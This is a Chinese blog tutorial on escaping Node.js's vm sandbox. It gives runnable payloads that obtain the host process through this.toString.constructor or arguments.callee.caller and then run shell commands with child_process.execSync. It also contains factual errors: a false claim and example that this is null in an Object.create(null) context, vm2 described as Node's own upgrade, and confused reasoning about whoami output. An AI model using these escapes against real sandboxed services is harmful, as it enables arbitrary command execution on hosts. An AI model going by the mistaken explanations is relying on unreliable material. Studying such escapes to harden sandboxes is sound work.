• Nodejs沙箱逃逸


    目录

    一、基本概念

    JavaScript和Nodejs之间有什么区别

    什么是沙箱(sandbox)

    沙箱(sandbox)和 虚拟机(VM)和 容器(Docker)之间的区别

    二、vm模块

    举例说明

    注意

    为什么不直接使用{}.toString.constructor('return process')(),却要使用this呢?

    m和n也是沙盒外的对象,为什么不用m.toString.constructor('return process')()呢?

     沙箱绕过的核心原理

    三、沙箱逃逸示例:

    1、第一种沙箱逃逸方法——利用this

    2、利用引用类型例如{}


    一、基本概念

    JavaScript和Nodejs之间有什么区别

            JavaScript用在浏览器前端,后来将Chrome中的v8引擎单独拿出来为JavaScript单独开发了一个运行环境,因此JavaScript也可以作为一门后端语言,写在后端(服务端)的JavaScript就叫叫做Nodejs。

    什么是沙箱(sandbox)

            当我们运行一些可能会产生危害的程序,我们不能直接在主机的真实环境上进行测试,所以可以通过单独开辟一个运行代码的环境,它与主机相互隔离,但使用主机的硬件资源,我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响,而不会影响到主机上的功能,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。

    沙箱(sandbox)和 虚拟机(VM)和 容器(Docker)之间的区别

            sandbox和VM使用的都是虚拟化技术,但二者间使用的目的不一样。沙箱用来隔离有害程序,而虚拟机则实现了我们在一台电脑上使用多个操作系统的功能。Docker属于sandbox的一种,通过创造一个有边界的运行环境将程序放在里面,使程序被边界困住,从而使程序与程序,程序与主机之间相互隔离开。在实际防护时,使用Docker和sandbox嵌套的方式更多一点,安全性也更高。

    在Nodejs中,我们可以通过引入vm模块来创建一个“沙箱”,但其实这个vm模块的隔离功能并不完善,还有很多缺陷,因此Node后续升级了vm,也就是现在的vm2沙箱,vm2引用了vm模块的功能,并在其基础上做了一些优化。

    二、vm模块

            vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。

    举例说明

    1. const vm = require('vm');
    2. const script = `m + n`;
    3. const sandbox = { m: 1, n: 2 };
    4. const context = new vm.createContext(sandbox);
    5. const res = vm.runInContext(script, context);
    6. console.log(res)

     这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象:

    this 指向传给vm.createContextsha沙箱的那个对象

    m 等于数字1

    n 等于数字2

    我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境。

    1. this.toString.constructor('return process')()
    2. const process = this.toString.constructor('return process')()
    3. process.mainModule.require('child_process').execSync('whoami').toString()

    第一行this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象。

    第二行,利用前面获取的process对象既可以干任何事。

    注意

    为什么不直接使用{}.toString.constructor('return process')(),却要使用this呢?

            这两个的一个重要区别就是,{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。

    m和n也是沙盒外的对象,为什么不用m.toString.constructor('return process')()呢?

            因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的

            所以,如果修改下context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。

     沙箱绕过的核心原理

            只要在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

    三、沙箱逃逸示例:

    1、第一种沙箱逃逸方法——利用this

    1. const vm = require('vm');
    2. const script = `
    3. const process = this.toString.constructor('return process')()
    4. process.mainModule.require('child_process').execSync('whoami').toString()
    5. `;
    6. const sandbox = { m: 1, n: 2 };
    7. const context = new vm.createContext(sandbox);
    8. const res = vm.runInContext(script, context);
    9. console.log(res)

     逃逸完成 !!!

    此时可以发现命令执行已经逃逸出沙箱在本地端执行了

    但是执行结果为什么不是whoami呢?

    我们查看一下在nodejs下 查看whoami命令结果,可以看到执行结果为查找当前主机的主机名

    换句话说,此时逃逸出沙箱的执行权限则为Administrators,是管理员权限,可见其危害之大

    我们可以将whoami命令换成ipconfig,可以更加直观感受到沙箱逃逸的危害

    1. const vm = require('vm');
    2. const script = `
    3. const process = this.toString.constructor('return process')()
    4. process.mainModule.require('child_process').execSync('ipconfig').toString()
    5. `;
    6. const sandbox = { m: 1, n: 2 };
    7. const context = new vm.createContext(sandbox);
    8. const res = vm.runInContext(script, context);
    9. console.log(res)

    可以看到此时沙箱逃逸执行命令权限为任意执行,危害极大!!!

    2、利用引用类型例如{}

    我们改一下代码,让上下文中不存在this也不存在其他对象,代码如下:

    1. const vm = require('vm');
    2. const script = `..`;
    3. const sandbox = Object.create(null)
    4. const context = new vm.createContext(sandbox);
    5. const res = vm.runInContext(script,context);

    此时this是null,上下文中也没有其他对象,怎么办?

    在 JavaScript 中,this 关键字的值取决于函数的执行上下文。在全局作用域中,this 通常指向全局对象(如浏览器环境中的 window 对象,Node.js 环境中的 global 对象)。但是,在使用 Object.create(null) 创建的对象上下文中,this 将为 null。

    const sandbox = Object.create(null);
    Object.create(null) 是一个创建一个新对象的方法,该对象没有继承自任何原型链。在 JavaScript 中,Object.create(null) 会创建一个纯净的对象,它没有继承自 Object.prototype 或任何其他原型对象,因此不会拥有默认的原型方法和属性。这样的对象通常被称为“空对象”或“纯净对象”。

    在这个纯净对象 sandbox 上下文中,由于没有原型链,它的 this 值将为 null。也就是说,如果在 sandbox 对象的上下文中使用 this 关键字,它将是 null。

    让我们看一个例子:

    const sandbox = Object.create(null);

    function greet() {
      console.log(this);
    }

    greet(); // Output: null
    在上述示例中,我们定义了一个名为 greet 的函数,并在全局作用域中调用它。由于函数在全局作用域中调用,它的 this 值将为全局对象(如浏览器环境中的 window 或 Node.js 环境中的 global)。然而,如果我们在 sandbox 对象的上下文中调用 greet 函数,this 将为 null:

    const sandbox = Object.create(null);

    function greet() {
      console.log(this);
    }

    sandbox.greet = greet;
    sandbox.greet(); // Output: null
    在这个例子中,我们将 greet 函数作为 sandbox 对象的方法,并在 sandbox 对象的上下文中调用它。在这种情况下,this 将是 null

    此时我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量,我们可以通过arguments.callee.caller获得调用这个函数的调用者。

    在 JavaScript 中,arguments.callee 和 arguments.caller 都是用于访问函数调用相关信息的特殊属性。然而,这两个属性都已经被弃用(deprecated)并不再建议使用,因为它们在严格模式("strict mode")下会导致错误。

    arguments.callee:

    arguments.callee 是一个指向当前正在执行的函数本身的引用。
    通过 arguments.callee 可以在函数内部递归调用自身,而不需要知道函数的名称。
    在过去,它经常用于创建匿名递归函数。例如:
    const factorial = function(n) {
      if (n === 0 || n === 1) {
        return 1;
      } else {
        return n * arguments.callee(n - 1); // 不推荐使用
      }
    };
    但是,由于 arguments.callee 在严格模式下会导致错误,建议使用命名函数表达式或函数声明来实现递归。

    arguments.caller:

    arguments.caller 是一个指向调用当前函数的函数的引用。
    它提供了一种查找调用栈的方式,可以追溯到调用当前函数的函数。
    与 arguments.callee 类似,arguments.caller 也在严格模式下被弃用。
    例子:
    function outer() {
      inner();
    }

    function inner() {
      console.log(arguments.caller); // 不推荐使用
    }

    outer();
    在上述例子中,inner 函数内部使用 arguments.caller 来获取调用它的函数 outer 的引用。但是请注意,这两个属性已经被弃用,应该避免在代码中使用它们。相反,可以使用函数表达式、命名函数或箭头函数来实现递归,而不需要依赖 arguments.callee。要获取调用栈的信息,可以使用 Error 对象的 stack 属性。

    那么如果我们在沙盒中定义一个函数并返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。

    1. const vm = require('vm');
    2. const script = `(() => {
    3. const a = {}
    4. a.toString = function () {
    5. const cc = arguments.callee.caller;
    6. const p = (cc.constructor.constructor('return process'))();
    7. return p.mainModule.require('child_process').execSync('whoami').toString()
    8. }
    9. return a })()`;
    10. const sandbox = Object.create(null)
    11. const context = new vm.createContext(sandbox);
    12. const res = vm.runInContext(script,context);
    13. console.log('hello' + res)

    逃逸成功!!! 

  • 相关阅读:
    JWT
    Mybatis PageHelper分页语句执行前做sql拦截并变更
    Leetcode—2520.统计能整除数字的位数【简单】
    数据库安全:Hadoop 未授权访问-命令执行漏洞.
    Java反射
    Shell 脚本学习 day01
    多亲手机 F22 Pro何时发布 多亲手机 F22 Pro配置如何
    互联网时代下服务器该如何进行主机加固
    qt day
    聊聊50G PON的技术细节
  • 原文地址:https://blog.csdn.net/weixin_51525416/article/details/132123685